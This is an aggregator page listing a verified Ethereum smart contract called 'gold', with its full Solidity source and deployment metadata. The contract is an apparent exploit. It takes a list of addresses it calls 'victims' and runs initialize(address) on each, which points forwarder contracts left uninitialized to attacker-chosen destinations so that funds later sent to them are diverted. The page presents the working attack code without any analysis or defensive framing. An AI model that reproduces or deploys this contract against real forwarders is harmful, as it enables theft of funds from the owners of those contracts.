gold

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Forward {
    function destination() external view returns (address payable);
    function initialize(address payable _destination) external;
}

contract gold {
    error InitializeFailed(address victim, address destination, bytes reason);
    event ForwardingSetup(
        address indexed victim,
        address destination,
        bool success
    );

    function setupForwarding(
        address[] memory victims,
        address payable[] memory destinations
    ) external {
        require(victims.length == destinations.length, "Array length mismatch");
        for (uint256 i = 0; i < victims.length; i++) {
            (bool success, bytes memory reason) = victims[i].call(
                abi.encodeWithSignature("initialize(address)", destinations[i])
            );
            emit ForwardingSetup(victims[i], destinations[i], success);
            if (!success) {
                revert InitializeFailed(victims[i], destinations[i], reason);
            }
        }
    }
}

Tags:
addr:0x634af13c3880e1a619b9bbfca50fecc96f92e4a7|verified:true|block:23607524|tx:0xc8e94c95f5b97905c616607c09d80447d96ff156b7e8aae2540a5bd5c82f7413|first_check:1760863284

Submitted on: 2025-10-19 10:41:26

Comments

Log in to comment.

No comments yet.